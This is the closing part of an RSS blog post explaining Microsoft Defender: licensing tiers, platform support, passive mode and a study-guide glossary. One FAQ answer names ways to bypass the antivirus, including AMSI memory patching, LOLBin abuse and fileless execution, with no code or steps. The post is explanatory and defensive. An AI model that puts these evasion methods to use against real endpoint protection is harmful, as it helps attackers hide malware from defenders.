No. Consumer Windows includes Windows Security (next-gen AV, cloud protection, firewall). Enterprise customers get Defender for Endpoint Plan 1 (adds ASR rules, conditional access, Tamper Protection -- included in M365 E3) or Plan 2 (adds EDR, automated investigation, threat hunting, Security Copilot -- in M365 E5). The detection engine is the same, but enterprise tiers add investigation, response, and management capabilities.

Yes. Since 2019--2020, Microsoft Defender for Endpoint supports macOS (behavioral monitoring engine), Linux (initially auditd-based sensor, migrated to eBPF in 2023), Android, and iOS. Feature parity lags behind Windows -- the macOS and Linux sensors don&apos;t have AMSI or the same depth of OS integration -- but cross-platform support is real and improving with each release.

When a third-party AV is installed, Defender can operate in passive mode -- it monitors the system and provides scan-on-demand capability but does not perform real-time protection. If the third-party AV is removed or its subscription expires, Defender automatically re-enables. Running two real-time AV agents simultaneously causes performance degradation and detection conflicts.

Yes. Every endpoint protection product can be bypassed -- this follows from Fred Cohen&apos;s undecidability result for general virus detection. Specific Defender bypass techniques include AMSI memory patching, LOLBin abuse, fileless in-memory execution through non-AMSI-integrated paths, and adversarial ML evasion. Microsoft continuously patches known bypasses, but the arms race is inherent to the problem. Defense in depth -- using multiple security layers, not just one product -- is the practical mitigation. See the Open Problems section above for detailed analysis of each technique and current defenses. Organizations can test their detection posture against known bypass techniques using open-source tools like Atomic Red Team.
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;windows-defender-evolution&quot; keyTerms={[
  { term: &quot;Signature-based detection&quot;, definition: &quot;Matching files against a database of known malware hashes and byte patterns&quot; },
  { term: &quot;AMSI&quot;, definition: &quot;Antimalware Scan Interface -- Windows API for scanning script content after deobfuscation but before execution&quot; },
  { term: &quot;Cloud-Delivered Protection&quot;, definition: &quot;Real-time ML analysis of unknown files in Microsoft&apos;s cloud, returning verdicts in milliseconds&quot; },
  { term: &quot;Block at First Sight&quot;, definition: &quot;Feature that holds unknown files from execution until the cloud verdict arrives&quot; },
  { term: &quot;EDR&quot;, definition: &quot;Endpoint Detection and Response -- post-breach detection, investigation, and response capabilities&quot; },
  { term: &quot;XDR&quot;, definition: &quot;Extended Detection and Response -- cross-domain correlation across endpoint, email, identity, and cloud&quot; },
  { term: &quot;ASR Rules&quot;, definition: &quot;Attack Surface Reduction rules that block specific dangerous behaviors proactively&quot; },
  { term: &quot;LOLBins&quot;, definition: &quot;Living-off-the-Land Binaries -- legitimate system tools repurposed by attackers for malicious purposes&quot; },
  { term: &quot;Undecidability&quot;, definition: &quot;Fred Cohen&apos;s 1986 dissertation proof that perfect virus detection is mathematically impossible (reducible to the Halting Problem)&quot; }
]} /&amp;gt;&lt;/p&gt;
</content:encoded><category>windows-defender</category><category>endpoint-protection</category><category>malware-detection</category><category>machine-learning</category><category>cybersecurity</category><category>microsoft</category><category>edr</category><author>noreply@paragmali.com (Parag Mali)</author></item></channel></rss>